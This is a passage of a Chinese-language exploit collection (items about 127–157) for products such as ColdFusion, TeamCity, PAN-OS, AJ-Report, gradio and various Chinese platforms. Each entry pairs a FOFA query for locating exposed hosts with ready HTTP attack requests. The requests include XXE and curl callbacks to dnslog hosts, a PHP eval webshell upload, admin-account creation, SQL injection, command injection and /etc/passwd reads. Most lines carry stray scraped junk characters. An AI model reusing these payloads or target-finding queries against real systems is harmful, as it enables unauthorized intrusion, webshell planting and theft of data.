Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 T# u1 O4 q5 D* Y. q6 X. ~4 ~( |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: Y& |# L: O. t6 I" i* dConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
: s/ J. r. z( t: T9 t  A
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
6 p" O! V: J6 S9 V9 H: R------WebKitFormBoundaryJGgV5l5ta05yAIe0
, y! l3 d% E; J, z8 S1 _Content-Disposition: form-data;name="Params"
Content-Type: text/plain
5 t/ n( b2 |8 l% o& R( l; Q/ s- {6 l
: \* g% R" I6 B" f7 }% a0 A  j, K6 Y<?xml version="1.0" encoding="UTF-8"?>
# `' r: U3 i  s5 }/ B( k* T, _<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
! G* Z( Y4 p+ t- d]
7 z; _% Z- I# ~' Y: q, N- J1 v* P>
; g9 J9 L( j  W$ m: ]<test>&t;</test>
1 }+ s4 [  L) G* x* I------WebKitFormBoundaryJGgV5l5ta05yAIe0--


; N$ \6 H6 ~$ f- i
* z& o. l1 l0 ]8 M0 B" O8 r128. Adobe ColdFusion 反序列化
CVE-2023-38203
6 u) S% O1 @$ p) |5 cAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
. S! \2 @  d5 o1 ^PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
4 P& _! j. b6 b5 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' [  x; n5 \7 ^0 M' \1 z: CAccept: */*
6 S- ~# e7 P+ J: o2 b6 c1 U2 _4 F$ VAccept-Encoding: gzip, deflate
" v4 x3 q" j/ h2 ]7 j4 @9 f% wConnection: close
" u% x9 G4 l% [# ~5 J

/ }3 S9 I$ J4 l4 y3 ^/ ^2 X; @, O第二步，读取/etc/passwd文件
% X" w% H: u% |/ c. B# e/ d+ WGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
# e) @; h& x# w; M6 v  G  f1 u  Q2 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 x; J4 H6 A5 _9 {: B! i) XAccept: */*
$ `3 f" j4 @1 U/ RAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
* p/ S8 u. q/ I8 D8 {X-Requested-With: XMLHttpRequest
( I! e( n0 c1 v' ?User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
4 Z0 O2 `4 m3 x& }+ h1 QContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
+ P" H  P0 t( i$ m1 @" ]Accept-Encoding: gzip, deflate
: a" I  A9 A4 l' vAccept-Language: zh-CN,zh;q=0.9
0 n( `- Z! ^+ G1 X3 ]8 MCookie: user_name=1; user_id=3
0 C% c( |# ?7 P( S: N3 oConnection: close
3 l" o# [- p& o" |
) g  I# q/ ]" X# x------WebKitFormBoundary3OCVBiwBVsNuB2kR
* x6 D( M  j: p. K6 `$ aContent-Disposition: form-data; name="file"; filename="1.php"
1 z4 C' a! a+ S' D& Y% ?Content-Type: image/png
) @6 T7 q# z) I$ B  D; m- a* F
<?php phpinfo();@eval($_POST['sec']);?>
/ T* N3 F# H& Y! }2 s& I. a------WebKitFormBoundary3OCVBiwBVsNuB2kR--


1 E( Z1 |# ^6 i) h131. Mini-Tmall <=20231017 SQL注入
3 ^) {' R. N* J2 c+ gFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
( F7 D, f4 s1 P& @' q8 w
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
- c2 G5 [* v# ?( `; W3 q7 r6 KFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
1 ]% B) V' E. H# S2 `9 u( P4 j! IHost: 192.168.40.130:8111
* l! p* d# v) W% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
/ F, t5 l, l& l$ j
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
- R; U- u: Z' t# }

$ M* P% F0 S9 e) u; fCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
( U/ y! S" e  }: X8 s. R/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py
( K" V5 ]* l3 `' B' a. i
$ ^5 D: P. `" v# n133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
0 B$ v$ W2 J/ JPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
% I  y5 x4 J6 b! \- K! {( o; e" }' ^Host: your-ip
2 w6 K( n% O+ x9 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

/ C7 Q$ h. k# h9 ^1 z' [8 K- a------WebKitFormBoundaryFQqYtrIWb8iBxUCx
: V- d% M. k7 H# f& OContent-Disposition: form-data; name="file"; filename="rce.php"
; Y5 @* l7 t3 T2 Q/ JContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
% `; ^* k4 l7 Z% S------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
/ J% I7 p  k; \2 q" h8 i


7 H( S0 D% j; J134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
, w( N" {7 \2 F$ R7 ^1 XNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
' H9 ]* u) o$ c8 p5 i! ~5 dPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
  X' y: D! E$ V3 b5 ~1 X4 _Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
" O6 V. w2 |# z2 m2 q. F" J) IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
$ D% b6 S3 ?( a9 B( g8 F- `Accept: */*
6 p2 J4 g2 w/ c4 Q3 [! I; {8 d) YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 A6 x" z: p9 {; z" `Accept-Encoding: gzip, deflate
, ^7 G- H0 Z5 [. u% y( g; {Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
$ R# q1 ^" y$ k) S7 GSec-Fetch-Site: same-origin
: `* j) V; n0 j5 u1 ETe: trailers
Connection: close
; I2 z1 j/ P1 g4 Y, XContent-Type: application/x-www-form-urlencoded
% v: D# ^/ c* [( d& SContent-Length: 263
9 @" ]( r% @5 D
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
; g6 |  b, i# ~, L6 `
2 g0 h. _! c% p- b$ @9 I
* Z/ _% N# K* S# \135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
) y; T  c% K6 z0 \* J- D: ECVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
# a( R: Z' e9 Q6 z/ Z$ j  vHost: x.x.x.x
% n8 C" ]8 `! q2 q9 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ B9 T* `# }, F7 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# G, N4 y0 V  B+ ?Accept-Encoding: gzip, deflate
7 \8 ^2 U" S; {Accept-Language: zh-CN,zh;q=0.9
Connection: close


! x' @  i; k' t& N  R$ [% M6 r0 t136. NextChat cors SSRF
CVE-2023-49785
  v2 b. \' V! m! J1 x# OFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
$ V! a0 `; w; z) |5 yHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ I' G6 u8 p) \1 T0 d$ OConnection: close
Accept: */*
7 e# b9 W9 o' E5 d) }2 p! M* w! WAccept-Language: en
Accept-Encoding: gzip
' a; C& B) r8 x. @! H" J2 n4 b
* c1 r" t3 N. [$ `3 M
137. 福建科立迅通信指挥调度平台down_file.php sql注入
: i: b, p7 ~- @6 z$ U" cCVE-2024-2620
, q! E4 H" J6 z" }) KFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
) H, W8 \5 }! q1 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& u  c, K2 f% ?" J0 }Connection: close
& k6 g& ?; W) M) ^9 DCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
0 @! B; \& d4 q. x; {

4 P( V0 c! c5 F$ C( Z; x138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' p0 J0 D" j5 a! p: z: XCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 B( p0 U7 E3 W( n1 ~  @# kGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
# G5 I" I& u) A, EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
0 x* L* U3 \  U$ _Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
3 S" [) _  k" e6 RCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
0 h4 _8 T! N' i+ bHost: x.x.x.x
# i4 w& e9 n: C4 b# _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 Z" e) S2 A* u( w  HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) q1 s! L2 u3 P- |. nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p( J; q) q8 b1 p6 NAccept-Encoding: gzip, deflate, br
" e6 T# w1 Z/ ^+ mConnection: close
6 H# G( I) _) Y: kCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
% a7 U2 K/ ^. kUpgrade-Insecure-Requests: 1
  T+ D8 s  Q! `2 y. A: ]& i

9 D% [! L4 K! y. Q140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
& W/ u2 x5 D0 a8 ~& zCVE-2024-2566
% p' L( P5 W' ^4 s! i. H% l, TFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
9 n$ j, a7 G% c, I4 N+ IGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
4 P" }- l0 m+ V7 e5 g% u2 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
! Y" I9 |+ b) r- J9 \4 x# k. dConnection: close
, `% A. `# k$ ?6 k0 FCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
  t2 o& n5 m2 O- n9 M3 n. h

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
+ c! A3 i; B  L, |: nHost: your-ip
" u  r* H& G; R5 S, QUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
8 Q' h4 A4 B% C
1 I' T3 [- H% S) a4 {
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


- _8 X# s5 a* @- n. W142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
/ p" g8 J& O" `  Dadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
; C% V# U& k" \" S( a9 b$ N7 o, ICVE-2024-25850
8 w/ ^) v- A4 m$ |2 y5 qFOFA：title='AP setup' && header='netis'
PAYLOAD
" R! g8 T5 c9 `
) H" B# w) R5 z2 t& I144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
" B6 Q" z& O( V% _( M( Tsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
. G8 d* W$ J8 x  g% tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
5 T$ }8 n5 ^5 ]/ [3 p' x  t2 mConnection: close
+ Y1 ^) s! ?8 d9 O. kAccept: */*
, Y* J% \4 y, p+ g/ ^& iAccept-Language: en
- [7 T4 S6 [, z/ ~0 }' m: k: H# mAccept-Encoding: gzip


$ ~2 @7 u( V$ k9 G0 {  |  R3 g* ~5 T145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
9 w' u; t) I; y5 T1 ^3 bHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
9 I' o# p; U0 C% {  o0 AConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
$ b* ?0 N8 O# E% BAccept-Encoding: gzip

+ j" e/ ~) h3 [/ L; G7 ^. W, I
9 _. t* }6 a9 c1 `146. MajorDoMo thumb.php 未授权远程代码执行
! X; Y6 d* r3 H2 {! v+ }CNVD-2024-02175
# g  R3 @1 p, n5 p+ ^$ V$ T) \# nFOFA：app="MajordomoSL"
9 s3 n2 x8 I, dGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
  I2 G6 }' D& _Host: x.x.x.x
! H1 n7 n  ]+ k6 n& y# @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
! O  a6 F8 M! F! L0 l! L/ V. ZAccept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
% n& i, |) N- ?1 ~8 h" C- EHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

, z0 T2 w, K6 `8 W
- \, _8 t- x; C5 h148. CrushFTP 认证绕过模板注入
) b! p/ k/ {$ s- Y5 ~CVE-2024-4040
$ ]& L$ t. Z0 M7 E2 k7 I  U: BFOFA：body="CrushFTP"
3 K$ d4 I4 K1 r' m6 f( h8 N6 CPAYLOAD
9 k% k2 I. x5 W3 Z7 X5 ^# n  J
5 ]3 I1 o9 `7 P& V1 ]7 R+ X! j149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

+ z. n8 p7 H' s5 t% qPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
8 g- t' J) ~9 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 H2 U7 F% ?% Y2 P: BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
9 C& w: B" Q/ uContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
8 I3 j, H% i; W! w
# A5 e: S% f) {6 A9 ~# Z! E# ^* w150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
$ v/ v' _! k. P9 I2 _$ QPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- {& Q- W; f% E1 g; M* p4 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- u3 i  N9 T: t; |% \* |, ]Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
0 ~/ K- [' X3 {5 y& e1 P% o$ I7 r6 z6 iContent-Type: application/json;charset=UTF-8
4 h' N- @; R( k) t/ H2 |Connection: close
Content-Length: 339

' H' e+ v( D, i, r, c2 S% k{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

( |3 J( z8 ~& h& b+ Q3 b# C
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
6 Y3 i9 u$ v: ?* S" C* AGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
0 l3 Y' Q0 r+ G0 T3 d# LHost: x.x.x.x
5 {6 v# ?# v- |6 Y" t& m9 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 W, }  P4 c( \Accept-Encoding: gzip
, ?3 e& Q3 s5 c! G' q# y

# V5 e3 _% a! B152. Progress Kemp LoadMaster 远程命令执行
2 H3 C; p: g" r/ S% d* h6 k; tCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
4 S9 d* U7 B5 ~% M$ {' wJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
  h& Q! I7 y# B* m1 `8 l( s1 NGET /access/set?param=enableapi&value=1 HTTP/1.1
& t) ?6 J" ?! f/ J4 A5 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
# `/ ^2 ]0 F' P6 s8 o; a* V" LConnection: close
Accept: */*
9 y9 z2 D& ^0 x0 q  y! _Accept-Language: en
( W+ t7 T3 i/ t1 M/ x* s$ J% DAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
8 Z- n% D  d$ V3 M  O8 m1 N8 N8 F1 YAccept-Encoding: gzip
& e8 U' |& ]' [0 l) {& E, j4 \

% V* J" y8 q$ B) s, W153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

9 n$ F% `* e; h  a% Q& l
. J5 m4 @, V4 @9 s第二步，将/etc/passwd的内容写入到一个临时文件
" }. n: V  j! Y$ y0 s: p0 ZPOST /component_server HTTP/1.1
, M8 O- }. O' I" zHost: x.x.x.x
; f9 f: t4 e0 h5 I+ c, p% O6 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
7 V2 G+ s) j0 t) P. X' bConnection: close
8 T4 @: |) n% }0 h. b  [, wContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
6 l# N' U5 t& N7 B+ Y+ }
5 c. w! Y6 n: F  D. z4 ~5 [5 U9 R
2 j' k6 d( K9 v8 O2 ]/ N; M第三步访问
  t+ B: R( T8 zhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
0 z* [/ x, C: n% V3 f4 KContent-Length: 106
: W: }3 `; _! v! X) r' bCache-Control: max-age=0
/ W3 Y- `: `- H# S3 g' i7 m1 yUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 S/ w! o0 [9 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 J$ K/ n# M+ Z! M  QReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
6 k& ~; j9 O, |; Z6 l4 CAccept-Encoding: gzip, deflate
/ J& r3 h1 H5 c- @" }7 s% CAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
' g7 U; K1 C* u# I, G) d# f1 rConnection: close
6 d% ~$ l) {6 p
) w7 ~. l7 G: Z! o- A$ ]: v{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
" q5 {* H- A. T5 R& NCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
  f5 N; v% {3 d! R0 QPOST /include/file.php HTTP/1.1
8 e! U5 x% e' ]3 F! k; YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
, t& g; A2 }0 E. tConnection: close
Content-Length: 232
! m- w! \8 M2 `/ X# EAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
. S7 r3 q+ P7 w9 R2 E6 q8 m" qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ n" W8 X' \3 g2 V" ~6 DContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
5 Z  g2 b3 C' FX-Requested-With: XMLHttpRequest

0 z8 b7 @( \* m5 u, W2 ~-----------------------------qttl7vemrsold314zg0f
$ C9 _8 _0 F3 f, A) `! NContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
, d- b# |% {# ?3 A/ K1 S7 P
8 d+ ^# y& b- Z" v
- |: A1 K: |, z& ]- t访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
# g  R( p, `) d  s% h# q# Q. r; a
156. TBK DVR-4104/DVR-4216 操作系统命令注入
& r$ d% g4 K# H) S4 O. m% RCVE-2024-3721
FOFA："Location: /login.rsp"
$ A1 J$ x; s& W* G9 q·TBK DVR-4104
·TBK DVR-4216
- A! L& H3 v8 K7 Y8 p" Mcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
9 W* y0 j9 o+ c8 x1 J

" L# Y( g: K- o# t3 mPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
& R: `4 e4 R8 Y) N0 u( s3 GHost: x.x.x.x
6 ^- b, ~" H8 P5 W' E4 m: @% O  sUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip


) J: j" j7 U0 i157. 美特CRM upload.jsp 任意文件上传
5 a7 {! y# F, ?+ f5 o) xCNVD-2023-06971
" c, M9 m5 _+ F1 ?2 R( U- cFOFA：body="/common/scripts/basic.js"
% q; q3 a2 p, v* o& ^POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
3 T6 U. t- k% G9 l) }' G5 f1 J4 DHost: x.x.x.x
1 \# H5 Y# P/ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
8 }( Z; q/ w/ B/ w: qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ ]1 |* p% E, `( d4 ^3 h5 UAccept-Language: zh-CN,zh;q=0.9
& x) d: N# @; ]* P8 f7 K* k& WCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
& `/ a$ B% ?+ F- g' i
------WebKitFormBoundary1imovELzPsfzp5dN
; M4 p$ s4 X2 O8 ?8 M5 \: E1 d1 YContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
/ ^! M' G) Y. k. _; X& q* [Content-Type: application/octet-stream
